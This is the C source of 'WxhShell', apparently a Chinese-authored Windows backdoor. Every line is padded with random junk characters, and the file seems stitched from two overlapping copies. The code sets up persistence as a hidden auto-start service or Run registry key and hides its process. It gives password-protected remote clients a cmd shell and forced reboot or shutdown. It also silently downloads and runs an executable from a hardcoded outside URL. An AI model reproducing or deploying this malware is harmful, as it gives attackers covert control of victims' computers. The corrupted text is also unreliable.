    } O;*.dR  
    break; 7`f',ZK%  
    } {|J'd+  
  // 关机 _GK3]F0  
  case 'd': { wFJ?u?b0Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); saaN$tU7  
    if(Boot(SHUTDOWN)) .\> I-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); enGjom  
    else { o-jF?9m  
    closesocket(wsh); &% \`Lwh  
    ExitThread(0); va/$dD9  
    } 7!E?(3$#"  
    break; 2!35Tj"RFE  
    } N yK7TKui  
  // 获取shell L4'FL?~I  
  case 's': { CS*wvn;.  
    CmdShell(wsh); kWgZIkY  
    closesocket(wsh); 4F+n`{~  
    ExitThread(0); v*7lJNN.  
    break; /WJ*ro]Hd$  
  } BEzF'<Z  
  // 退出 iZ3%'~K<3J  
  case 'x': { i>C:C>~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~agzp`!M  
    CloseIt(wsh); I!ykm\<  
    break; ]jz%])SzH  
    } +0Rr5^8u  
  // 离开 Z;{3RWV  
  case 'q': { x_oL~~@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jyt#C7mj-A  
    closesocket(wsh); o0p%j4vac  
    WSACleanup(); lFNf/j^Z  
    exit(1); q1Si*?2W  
    break; btK| U  
        } Uk02VuS  
  } b&;1b<BwD  
  } e%'$Vx0kA  
b g'B^E3  
  // 提示信息 J2`b:%[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  h7-!q@  
} {P_~_5o_  
  } p0xd c3  
:Gh* d)  
  return; FBM 73D@`  
} +b.qzgH>r  
}TZ5/zn.Dw  
// shell模块句柄 -}m#uUqI  
int CmdShell(SOCKET sock) Ds$8$1=L=k  
{ Ek+L"7  
STARTUPINFO si; dF{3 ~0+,  
ZeroMemory(&si,sizeof(si)); Y WSo:)LY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /vl]Oa&U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z^Nnt  
PROCESS_INFORMATION ProcessInfo; /(w:XTO<  
char cmdline[]="cmd"; EdA_Hf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zi23k=  
  return 0; z[DUktZl  
} xa`&/W>  
22\Buk}?  
// 自身启动模式 sQ/7Mc  
int StartFromService(void) JbG\Ywi0]  
{ t@1e9uR  
typedef struct CJ_X:Frj)  
{ :<=!v5 SK  
  DWORD ExitStatus; QeA)@x.p  
  DWORD PebBaseAddress; PKR0y%Ar  
  DWORD AffinityMask; $EbxV"b+  
  DWORD BasePriority; J.:"yK""  
  ULONG UniqueProcessId; e| (jv<~r  
  ULONG InheritedFromUniqueProcessId; EH"iK2n\9  
}   PROCESS_BASIC_INFORMATION; `LnLd;Z  
-gh',)R   
PROCNTQSIP NtQueryInformationProcess; $Trkow%F]  
<pGPuw|~I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7Nc@7_=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; __c:$7B/4U  
1 ,oC:N  
  HANDLE             hProcess; TH/!z,( >  
  PROCESS_BASIC_INFORMATION pbi; :Tw3Oo_~S  
#$%9XD3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *Xt#04_  
  if(NULL == hInst ) return 0; /`0*!sN*5  
A\ze3fmV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $Vbgfp~U-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "OFYVK\]i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JGSeu =)  
Wt"@?#L  
  if (!NtQueryInformationProcess) return 0; 4QK([q  
Es zwg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *%'4.He7V  
  if(!hProcess) return 0; DTN@b!  
BgD;"GD*W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @g[p>t> *  
p*W4^2(d  
  CloseHandle(hProcess); *D F5sY  
JrseU6N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jd&Qi)1  
if(hProcess==NULL) return 0; B+ GPTQSTb  
sU4(ed\gI\  
HMODULE hMod; b ^ ly  
char procName[255]; ZP*Hx %U  
unsigned long cbNeeded; TxwZA  
):&A\nb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s>~!r.GC  
{8Hrb^8!  
  CloseHandle(hProcess); G?e,Q$  
 }Q`Kg8L  
if(strstr(procName,"services")) return 1; // 以服务启动 *FR Eh@R  
<X j:c2@  
  return 0; // 注册表启动 DkA cT[  
} FM0)/6I'x  
,y,NVF  
// 主模块 ]&yO>\MgJB  
int StartWxhshell(LPSTR lpCmdLine) R7e`Wn  
{ r3hj GcpaX  
  SOCKET wsl; WUGPi'x  
BOOL val=TRUE; =i Rc&  
  int port=0; 0^]E-Zf  
  struct sockaddr_in door; +=|Q'V  
Z5[ t/  
  if(wscfg.ws_autoins) Install(); 5IBe;o  
p{t2pfb  
port=atoi(lpCmdLine); zbx,qctYo$  
Vg\EAs>f  
if(port<=0) port=wscfg.ws_port; }a"T7y23  
8 ]dhNA5  
  WSADATA data; =:1f 0QF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +~  :1H.  
T5-50nU,~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nC qUg_{D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u\ytiGO*  
  door.sin_family = AF_INET; J Q%e'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iwJBhu0@#  
  door.sin_port = htons(port); MH'S,^J  
@GBS-iT3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D+LeZBJ  
closesocket(wsl); 0LrTYrlj  
return 1; E3_e~yu&  
} hp%|n:.G  
LP7t*}PK  
  if(listen(wsl,2) == INVALID_SOCKET) { P_z3TK  
closesocket(wsl); +su>0'a  
return 1; s IY`H^  
} )2g\GRg6  
  Wxhshell(wsl); f /&Dy'OV7  
  WSACleanup(); )T(xQ2&r4  
7cK#fh"hvg  
return 0; Jq l#z/z  
9-Ikd>9  
} 3K@dW"3  
AJiEyAC!)5  
// 以NT服务方式启动 ,`^B!U3m   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 69!J' kM[  
{ XGFU *g`kq  
DWORD   status = 0; a,#f%#J\  
  DWORD   specificError = 0xfffffff; Ib*l{cxN  
^a[7qX_B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w[uK3Av  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?#<Fxme  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NC>rZS]  
  serviceStatus.dwWin32ExitCode     = 0; "e69aAA,  
  serviceStatus.dwServiceSpecificExitCode = 0; .YYiUA-i9n  
  serviceStatus.dwCheckPoint       = 0; #@;RJJZg  
  serviceStatus.dwWaitHint       = 0; Agl5[{]E  
8ysU.5S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 54JZEc  
  if (hServiceStatusHandle==0) return; !Z YMks4  
YKJk)%;+w  
status = GetLastError(); 2ELw}9  
  if (status!=NO_ERROR) sw[1T_S>  
{ QjWv?tm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1/j J;}  
    serviceStatus.dwCheckPoint       = 0; ua/A &XQx  
    serviceStatus.dwWaitHint       = 0; U)=StpTT  
    serviceStatus.dwWin32ExitCode     = status; `l9Pk\X[  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8+k\0fmy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dq)V] Zx  
    return; 54_CewL1P]  
  } R61.!ql%w  
c_~)#F%P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~%qHJ4C  
  serviceStatus.dwCheckPoint       = 0; $z1u>{  
  serviceStatus.dwWaitHint       = 0; _k\*4K8L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Om0Z\GP=  
} 89v9BWF  
sTP`xaY  
// 处理NT服务事件,比如:启动、停止 3!_y@sWx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `{c %d  
{ +7U$qEG  
switch(fdwControl) #~^#%G  
{ +;c)GNQ)6:  
case SERVICE_CONTROL_STOP: v(W$\XH  
  serviceStatus.dwWin32ExitCode = 0; |>5NH'agV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &p8b4y_  
  serviceStatus.dwCheckPoint   = 0; e%uPZ >'q  
  serviceStatus.dwWaitHint     = 0; %"r3{Hs  
  { ts`c_hH,1'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &|'1.^f@;E  
  } q(p]6Ha|  
  return; 0k>bsn/ j  
case SERVICE_CONTROL_PAUSE: #f0J.)M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RZ#b)l  
  break; *v 1hMk  
case SERVICE_CONTROL_CONTINUE: F.i*'x0u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,j>A[e&.  
  break; L:nZ_O;  
case SERVICE_CONTROL_INTERROGATE: V|e9G,z~A  
  break; bCHJLtDQ  
}; &<2~7?$!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x ok8  
} 87l(a,#J  
N_(qMW  
// 标准应用程序主函数 S+ gzl#r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V]dzKNFi  
{ ?9'Ukw` g  
o *)>aw  
// 获取操作系统版本 0Mpc#:a%1  
OsIsNt=GetOsVer(); F6J,:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %"B+;{y(5  
2L Kpwz?  
  // 从命令行安装 8MqKS}\H  
  if(strpbrk(lpCmdLine,"iI")) Install(); {_T?0L  
j ;}!Yn  
  // 下载执行文件 1ml>  
if(wscfg.ws_downexe) { @'>h P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ox9WH4E  
  WinExec(wscfg.ws_filenam,SW_HIDE); =kFZ2/P2t(  
} 8WU_d`DF  
t)o!OEnE  
if(!OsIsNt) { 9jW/"  
// 如果时win9x,隐藏进程并且设置为注册表启动 _]zm02|  
HideProc(); }8tD|t[  
StartWxhshell(lpCmdLine); J:WO %P=Q  
} ZyAm:yO  
else v3>jXf  
  if(StartFromService()) o+Cd\D69S  
  // 以服务方式启动 |uL"/cMW7  
  StartServiceCtrlDispatcher(DispatchTable); >F7v'-*{  
else rUgTJx&ds  
  // 普通方式启动 mz)Z =`hy  
  StartWxhshell(lpCmdLine); >wx1M1  
%z1y3I|`[t  
return 0; wP:ab  
} /DLgE7iU%  
EhJpJb[Z  
BhFyEY(  
h|m>JDxn  
=========================================== V% -wZL/  
Ib V 7}  
SA3!a.*c  
i_<Uk8  
hf#[Vns  
lHl1Ny\?  
" W[ZW=c  
D X|yL!4[  
#include <stdio.h> 8":O\^i  
#include <string.h> oY;=$8y<q  
#include <windows.h> V'n4iM  
#include <winsock2.h> FH Hi/yh  
#include <winsvc.h> )o51QgPy  
#include <urlmon.h> 'UW]~  
0{0A,;b  
#pragma comment (lib, "Ws2_32.lib") 1 UyQ``v/  
#pragma comment (lib, "urlmon.lib") #}y(D{zc  
`-,yJ  
#define MAX_USER   100 // 最大客户端连接数 ItLP&S=  
#define BUF_SOCK   200 // sock buffer A08b=S  
#define KEY_BUFF   255 // 输入 buffer @ckOLtxE>  
d]bM,`K* 6  
#define REBOOT     0   // 重启 TOUP.,f/!  
#define SHUTDOWN   1   // 关机 *U{E[<k{  
WJXQM[  
#define DEF_PORT   5000 // 监听端口 yKy07<Gr>  
o>G^)aRa  
#define REG_LEN     16   // 注册表键长度 v8PH(d2{@  
#define SVC_LEN     80   // NT服务名长度 }iu(-{Z  
Td|x~mZv:  
// 从dll定义API vbn'CY]QU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RMrrLT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C{"uz_Gh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~C;1}P%9x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ? FlV<nE"J  
orU++,S4Pm  
// wxhshell配置信息 ;?-`n4B&  
struct WSCFG { $IdY(f:.:5  
  int ws_port;         // 监听端口 zSU06Y  
  char ws_passstr[REG_LEN]; // 口令 71$MhPvd<  
  int ws_autoins;       // 安装标记, 1=yes 0=no BUp,bJpO  
  char ws_regname[REG_LEN]; // 注册表键名 vWM'}(  
  char ws_svcname[REG_LEN]; // 服务名 .*0`}H+_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P0/B!8x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G\HU%J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z T5p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1!;}#m7v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RR 8Z 9D;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qey6E9eCA  
I,0]> kx  
}; |H(Mmqgk  
+.p$Yi`  
// default Wxhshell configuration .x^`y2'U  
struct WSCFG wscfg={DEF_PORT, N]p|c3D  
    "xuhuanlingzhe", k*;2QED  
    1, VB?mr13}G  
    "Wxhshell", wu2AhMGmw  
    "Wxhshell",  ;7F|g  
            "WxhShell Service", iN}BMd.U  
    "Wrsky Windows CmdShell Service", l5jW`cl1  
    "Please Input Your Password: ", D(GAC!|/]  
  1, ,0~/ Cn  
  "http://www.wrsky.com/wxhshell.exe", 4't@i1Ll(  
  "Wxhshell.exe" Q9~UL^bF  
    }; MKuy?mri~  
M?UlC   
// 消息定义模块 ,u,]ab  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?Z<2zm%qV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iZ`1Dzxgk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AlQ!Q)y<@  
char *msg_ws_ext="\n\rExit."; \E'Nk$V3  
char *msg_ws_end="\n\rQuit."; Wu 71q=  
char *msg_ws_boot="\n\rReboot..."; `R}D@  
char *msg_ws_poff="\n\rShutdown..."; GMw|@?:{  
char *msg_ws_down="\n\rSave to "; =](c7HEQf  
]c8$%  
char *msg_ws_err="\n\rErr!"; #0-!P+c[  
char *msg_ws_ok="\n\rOK!"; Z {ntF  
zr0_SCh;2  
char ExeFile[MAX_PATH]; ))n7.pB9/  
int nUser = 0; Y[Gw<1F_  
HANDLE handles[MAX_USER]; ?-FSDNQ  
int OsIsNt; 3q:-98DT  
dkV%Pyj  
SERVICE_STATUS       serviceStatus; !Xwp;P=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /~_Cb= 7  
S?{|qlpy  
// 函数声明 }*n(RnCn  
int Install(void); c;w~-7Q*|  
int Uninstall(void); X$O,L[] 4  
int DownloadFile(char *sURL, SOCKET wsh); yaf&SR@7k{  
int Boot(int flag); kWfNgu$xK  
void HideProc(void); r +] J {k  
int GetOsVer(void); xDBEs*  
int Wxhshell(SOCKET wsl); (k"oV>a|  
void TalkWithClient(void *cs); XM/P2=;  
int CmdShell(SOCKET sock); LnJ/t(KV  
int StartFromService(void); %PG::b  
int StartWxhshell(LPSTR lpCmdLine); FhB^E$r%  
0EM`,?i .Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F9e$2J)C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XN"V{;OP1  
jlER_I]  
// 数据结构和表定义 NQ<~$+{  
SERVICE_TABLE_ENTRY DispatchTable[] = xZ@H{):  
{ `n:IXD5'  
{wscfg.ws_svcname, NTServiceMain}, @A6\v+ih  
{NULL, NULL} =JyYU*G4  
}; 2 G_*Pqc  
J`O4]XRY  
// 自我安装 QEM")(  
int Install(void) RlX;c!K  
{ -e%=Mpq.  
  char svExeFile[MAX_PATH]; ?ZSG4La\  
  HKEY key; (0W%Y Z!&  
  strcpy(svExeFile,ExeFile); `sN3iD!@R  
n?pCMS|  
// 如果是win9x系统,修改注册表设为自启动 `hS<F" j  
if(!OsIsNt) { }se)=7d8 Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /-$`GT?l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <uL?7P  
  RegCloseKey(key); -3Vx jycY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y wk;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <_ */  
  RegCloseKey(key); )+ Wr- Yay  
  return 0; xn@?CP`-y  
    } 9Pd~  
  } _dsd{&  
} c6s(f  
else { SBjtg@:G0n  
5DyN=[b  
// 如果是NT以上系统,安装为系统服务 Ats"iV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |i?AtOt@f  
if (schSCManager!=0) q) /;|h  
{ ; Z61|@Y  
  SC_HANDLE schService = CreateService )gR14a  
  ( WGG|d)'@  
  schSCManager, U3kf$nbV/J  
  wscfg.ws_svcname, (L|SE4  
  wscfg.ws_svcdisp, *&UVr  
  SERVICE_ALL_ACCESS, =JO|m5z8>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  2WE   
  SERVICE_AUTO_START, PBn(k>=+  
  SERVICE_ERROR_NORMAL, V.Xz n  
  svExeFile, 8)"KPr63M  
  NULL, ,l; &Tb=k  
  NULL, (:+IS W  
  NULL, z8Dn<h  
  NULL, _5U Fml9  
  NULL {K3\S 0L  
  ); V]k!]  
  if (schService!=0) P603P  
  { W]2;5 `MM  
  CloseServiceHandle(schService); 5\=9&{WjND  
  CloseServiceHandle(schSCManager); &1Cq+YpI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jcq(=7j  
  strcat(svExeFile,wscfg.ws_svcname); D<++6HN&#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { niy@'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #(aROTV5a  
  RegCloseKey(key); ~iwEhF   
  return 0; :-"J)^V  
    } z(\H.P#  
  } n+Ag |.,|  
  CloseServiceHandle(schSCManager); Ac7`nvI=  
} 7vj[ AOq3l  
} ['s_qCA[  
HENCQ_Wra  
return 1; uhc0,V;S  
} hLm9"N'Pf  
lC_zSmT  
// 自我卸载 [tD*\\IA  
int Uninstall(void) $\^]MxI  
{ <q[ *kr  
  HKEY key; VsZ_So;  
l?FNYvL  
if(!OsIsNt) { TS[Z<m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vQ_B2#U:  
  RegDeleteValue(key,wscfg.ws_regname); 8dA/dMQ  
  RegCloseKey(key); ]oya<C6pR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vq5I 2  
  RegDeleteValue(key,wscfg.ws_regname); 1|. 0]~0  
  RegCloseKey(key); epG;=\f}m`  
  return 0; w`7l ;7[  
  } RDqC$Gu  
} GUp51*#XR  
} ,@!d%rL:4]  
else {  aZ0H)  
%@xYg{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F Q k;  
if (schSCManager!=0) n9J>yud|  
{ >{??/fBd-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zp9 ?Ia  
  if (schService!=0) EV(/@kN2  
  { 7>~iS@7GV  
  if(DeleteService(schService)!=0) { ttKfZ0  
  CloseServiceHandle(schService); n=>Gu9`  
  CloseServiceHandle(schSCManager); iIF'!K=q  
  return 0; A+}4 N%kh  
  } Ucy9fM  
  CloseServiceHandle(schService); *7vPU:Q[  
  } #rC/y0niH  
  CloseServiceHandle(schSCManager); &%bX&;ECzf  
} gU%GM  
} h/k`+  
DVS7N_cx2o  
return 1; 8xv\Zj+  
} A^Zs?<C-  
0IdD   
// 从指定url下载文件 P>kx{^  
int DownloadFile(char *sURL, SOCKET wsh) <f*0 XJ#  
{ Y5opZ G  
  HRESULT hr; pqr" x2=.  
char seps[]= "/"; lm\u(3_ $  
char *token; Mzd}9x$'J  
char *file; h`Mf;'P  
char myURL[MAX_PATH]; i*tj@5MY-  
char myFILE[MAX_PATH]; <>Im$N ai  
Z4!3I@yZ  
strcpy(myURL,sURL); RW)C<g  
  token=strtok(myURL,seps); FN R& :  
  while(token!=NULL) ex1ecPpN  
  { vKC>t95  
    file=token; ivq4/Y] -X  
  token=strtok(NULL,seps); <gy'@w?  
  } >gE_?%a[  
x,%&[ 6(  
GetCurrentDirectory(MAX_PATH,myFILE); /b|sv$BN  
strcat(myFILE, "\\"); 'zb7:[[7%  
strcat(myFILE, file); 8\9EDgT  
  send(wsh,myFILE,strlen(myFILE),0); X@)lPr$a  
send(wsh,"...",3,0); k.ZfjX"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _biJch  
  if(hr==S_OK) ;k8}D*?8  
return 0; L7-nPH  
else S(6ZX>wv:  
return 1; ht |r+v-  
H.L@]~AyL  
} _+En%p.m  
*`#,^p`j b  
// 系统电源模块 m C Ge*V}  
int Boot(int flag) BR2y1Hfi  
{ UVK"%kW#(  
  HANDLE hToken; hbeC|_+   
  TOKEN_PRIVILEGES tkp; Eg*3**gTO  
ShpnFuH  
  if(OsIsNt) { "}! rM6 h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6{'6_4;Fv(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eXK`%'  
    tkp.PrivilegeCount = 1; _LNPB$P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nlW&(cH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1RA$hW@}  
if(flag==REBOOT) { ">3@<f>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %5%Wo(W'  
  return 0; 37xxVbik  
} ]aNnY?qW5  
else { h86={@Le  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L])w-  
  return 0; Ef.4.iDJrR  
} lWvd"Vlt  
  } F/sBr7I  
  else { E,7~kd~y`  
if(flag==REBOOT) { dU6LB+A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \aIy68rH,  
  return 0; *a!!(cZZ  
} L?x?+HPY.  
else { 7-I>5 3@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <R>z;2c  
  return 0; *GP_ut%  
} vv/,Rgv  
} m7vxzC*  
4/?}xD|?  
return 1; |+-i'N9  
} 493i*j5r)l  
,hLSRj{  
// win9x进程隐藏模块 f<Tz#w&6W  
void HideProc(void) @BUqQ9q:  
{ J"/z?!)IB  
yB%)D0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?VQLY=?  
  if ( hKernel != NULL ) Wxau]uix  
  { BWdc^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vUe *  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K#hYbDm  
    FreeLibrary(hKernel); F LI8r:  
  } ~h0BT(p/  
P 4*MV  
return; lc7a@qnw   
} 9,f<Nb(\  
cvE.r330|  
// 获取操作系统版本 k_>Fw>Y  
int GetOsVer(void)  ;c Co+(  
{ "%''k~UD 4  
  OSVERSIONINFO winfo; ;'QY<,p[e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l@r wf$-  
  GetVersionEx(&winfo); 34wM%@D*c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )9L pX  
  return 1; M#VC3h$  
  else dIpW!Pj^  
  return 0; }?]yxa~  
} x X/s1(P  
G yAgPz  
// 客户端句柄模块 B$TChc3B  
int Wxhshell(SOCKET wsl) X";Z Up  
{ hMeqs+  
  SOCKET wsh; 9/ 1+BQ  
  struct sockaddr_in client; TT2cOw  
  DWORD myID; I+"?,Ej$K  
WAB0e~e:|Q  
  while(nUser<MAX_USER) VkDS&g~Ws  
{ Va@6=U7c  
  int nSize=sizeof(client); sCtw30BL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]osx.  
  if(wsh==INVALID_SOCKET) return 1; kg: uGP9  
z{pC7e5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jc&/}o$K  
if(handles[nUser]==0) /}$T38  
  closesocket(wsh); {[,Wn:  
else ^0~c 7`k`V  
  nUser++; z_Wm HB  
  } r%F(?gKXkd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wD6!#t k  
n^AP"1l8?0  
  return 0; vXWsF\g  
} +~ 3w5.8  
_}zo /kDA  
// 关闭 socket J 0Hm)*  
void CloseIt(SOCKET wsh) 4e+BqCriC*  
{ 7Aio`&^  
closesocket(wsh); ESD<8 OR  
nUser--; XLZ j  
ExitThread(0); 4`8IFK  
} F_nZvv[H?  
z1f^p7$M?  
// 客户端请求句柄 mQJ4;BJw  
void TalkWithClient(void *cs) E kBae=  
{ m<4s*q0\i  
{_zV5 V  
  SOCKET wsh=(SOCKET)cs; \E$1lc  
  char pwd[SVC_LEN]; 4= Tpi`  
  char cmd[KEY_BUFF]; lf%b0na?r  
char chr[1]; z;dcAdz9  
int i,j; EO#gUv  
u0XP(d H  
  while (nUser < MAX_USER) { xH<'GB)  
(PS$e~H s  
if(wscfg.ws_passstr) { {)B9Z I{+A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PwW^y#96  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '7xxCj/*  
  //ZeroMemory(pwd,KEY_BUFF); 8 7RHA $?  
      i=0; ~`t%M?l  
  while(i<SVC_LEN) { e0f":Vct  
/Hv* K&}M  
  // 设置超时 h?0F-6z  
  fd_set FdRead; I*D<J$ 9N  
  struct timeval TimeOut; WP0 #i~3*  
  FD_ZERO(&FdRead); @Ex;9F,Q  
  FD_SET(wsh,&FdRead); ?}vzLgp  
  TimeOut.tv_sec=8; >0PUWr$8  
  TimeOut.tv_usec=0; QXdaMc+Ck  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^ED"rMI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 96c"I;\GXX  
b.#^sm//  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /61by$E  
  pwd=chr[0]; "hWJ3pi{o{  
  if(chr[0]==0xd || chr[0]==0xa) { q*L ]  
  pwd=0; 79D=d'e A  
  break; Q0pzW:=s]  
  } RCI4~q  
  i++; $+Vmwd;  
    } /xcJo g~F,  
"YJ[$TG  
  // 如果是非法用户,关闭 socket DU;[btK>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Iz#yQ`  
} =H[\%O~?b  
NCa~#i:F8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R|iEvt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); );nz4/V  
}sv!=^}BY3  
while(1) { q xfLfgu^  
OB~C}'^$  
  ZeroMemory(cmd,KEY_BUFF); %JQ~!3  
,eDD:#)$}  
      // 自动支持客户端 telnet标准   T|ZF/&XP  
  j=0; a:A n=NA  
  while(j<KEY_BUFF) { dIk' pA^d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SB TPTb  
  cmd[j]=chr[0]; V JDoH  
  if(chr[0]==0xa || chr[0]==0xd) { .d~\Ysve  
  cmd[j]=0; *(G&B\  
  break; p%F8'2)}  
  } Gzw@w{JBL  
  j++; <FUon  
    } (? \?it-  
7:>sc]Z  
  // 下载文件 IU|kNBo  
  if(strstr(cmd,"http://")) { daslaa_A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +3;Ody"59  
